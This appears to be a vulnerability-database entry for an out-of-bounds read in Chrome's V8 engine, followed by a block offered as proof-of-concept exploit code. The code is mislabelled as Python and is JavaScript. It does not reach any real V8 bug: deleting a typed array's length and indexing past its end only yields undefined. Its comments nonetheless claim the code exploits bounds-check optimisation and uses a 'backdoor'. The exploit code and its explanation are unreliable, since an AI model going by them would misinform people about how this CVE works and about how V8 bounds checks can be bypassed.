Out of bounds read in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12441 PoC - V8 Out of Bounds Read
// This PoC demonstrates the vulnerability pattern
// Note: This is for educational and security research purposes only
function triggerOOBRead() {
// Create an array with specific length
const arr = new Uint8Array(10);
// Initialize array with some values
for (let i = 0; i < 10; i++) {
arr[i] = i;
}
// Trigger condition that may cause OOB read
// This pattern exploits V8 boundary check optimization
const length = arr.length;
// Use delete to modify array length property
delete arr.length;
// Attempt to access beyond original bounds
// This may trigger the out of bounds read vulnerability
try {
// Crafted access pattern that may bypass checks
const oobValue = arr[length + 100];
console.log('OOB Read Value:', oobValue);
return oobValue;
} catch (e) {
console.error('Error:', e.message);
}
}
// Alternative trigger using TypedArray
function triggerTypedArrayOOB() {
const buffer = new ArrayBuffer(16);
const view = new Int8Array(buffer);
// Initialize view
for (let i = 0; i < 16; i++) {
view[i] = i;
}
// Modify the underlying buffer through backdoor
// This may cause V8 to miscalculate bounds
const misaligned = new Int8Array(buffer, 0, { length: 32 });
// Access out of bounds
console.log('Misaligned access:', misaligned[20]);
}
// Execute triggers
console.log('Testing CVE-2025-12441 PoC...');
triggerOOBRead();
triggerTypedArrayOOB();
console.log('PoC execution completed');